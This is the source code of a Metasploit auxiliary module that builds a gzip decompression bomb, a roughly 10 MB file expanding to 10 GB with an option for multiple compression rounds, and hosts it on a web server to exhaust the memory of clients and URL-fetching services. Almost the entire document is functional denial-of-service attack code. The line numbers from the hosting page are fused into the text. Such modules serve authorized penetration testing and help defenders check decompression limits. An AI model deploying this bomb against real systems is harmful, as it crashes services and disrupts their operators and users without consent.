Path: blob/master/modules/auxiliary/dos/http/gzip_bomb_dos.rb
19500 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45require 'zlib'6require 'stringio'78class MetasploitModule < Msf::Auxiliary9include Msf::Exploit::Remote::HttpServer::HTML1011def initialize(info = {})12super(13update_info(14info,15'Name' => 'Gzip Memory Bomb Denial Of Service',16'Description' => %q{17This module generates and hosts a 10MB single-round gzip file that decompresses to 10GB.18Many applications will not implement a length limit check and will eat up all memory and19eventually die. This can also be used to kill systems that download/parse content from20a user-provided URL (image-processing servers, AV, websites that accept zipped POST data, etc).2122A FILEPATH datastore option can also be provided to save the .gz bomb locally.2324Some clients (Firefox) will allow for multiple rounds of gzip. Most gzip utils will correctly25deflate multiple rounds of gzip on a file. Setting ROUNDS=3 and SIZE=10240 (default value)26will generate a 300 byte gzipped file that expands to 10GB.27},28'Author' => [29'info[at]aerasec.de', # 2004 gzip bomb advisory30'joev' # Metasploit module31],32'License' => MSF_LICENSE,33'References' => [34[ 'URL', 'http://www.aerasec.de/security/advisories/decompression-bomb-vulnerability.html' ]35],36'DisclosureDate' => '2004-01-01',37'Actions' => [38[ 'WebServer', { 'Description' => 'Host file via web server' } ]39],40'PassiveActions' => [41'WebServer'42],43'DefaultAction' => 'WebServer',44'Notes' => {45'Stability' => [CRASH_SERVICE_DOWN],46'SideEffects' => [],47'Reliability' => []48}49)50)5152register_options(53[54OptInt.new('SIZE', [true, 'Size of uncompressed data in megabytes (10GB default).', 10240]),55OptInt.new('ROUNDS', [true, 'Rounds of gzip compression. Some applications (FF) support > 1.', 1]),56OptString.new('URIPATH', [false, 'Path of URI on server to the gzip bomb (default is random)']),57OptString.new('CONTENT_TYPE', [false, 'Content-Type header to serve in the response', 'text/html'])58]59)60end6162def run63datastore['HTTP::compression'] = false # not a good idea64@gzip = generate_gzip65print_status "Gzip generated. Uncompressed=#{default_size}bytes. Compressed=#{@gzip.length}bytes."66exploit # start http server67end6869def on_request_uri(cli, _request)70print_status "Sending gzipped payload to client #{cli.peerhost}"71rounds = (['gzip'] * datastore['ROUNDS']).join(', ')72send_response(cli, @gzip, { 'Content-Encoding' => rounds, 'Content-Type' => datastore['CONTENT_TYPE'] })73end7475# zlib ftw76def generate_gzip(size = default_size, blocks = nil, reps = nil)77reps ||= datastore['ROUNDS']78return blocks if reps < 17980print_status 'Generating gzip bomb...'81StringIO.open do |io|82stream = Zlib::GzipWriter.new(io, Zlib::BEST_COMPRESSION, Zlib::DEFAULT_STRATEGY)83buf = nil84begin85# add MB of data to the stream. this takes a little while, but doesn't kill memory.86if blocks.nil?87chunklen = 1024 * 1024 * 8 # 8mb per chunk88a = 'A' * chunklen89n = size / chunklen9091n.times do |i|92stream << a93if i % 100 == 094print_status "#{i.to_s.rjust(Math.log(n, 10).ceil)}/#{n} chunks added (#{'%.1f' % (i.to_f / n.to_f * 100)}%)"95end96end97else98stream << blocks99end100101a = nil # gc a102buf = generate_gzip(size, io.string, reps - 1)103ensure104stream.flush105stream.close106end107buf108end109end110111def default_size112datastore['SIZE'] * 1024 * 1024 # mb -> bytes113end114end115116117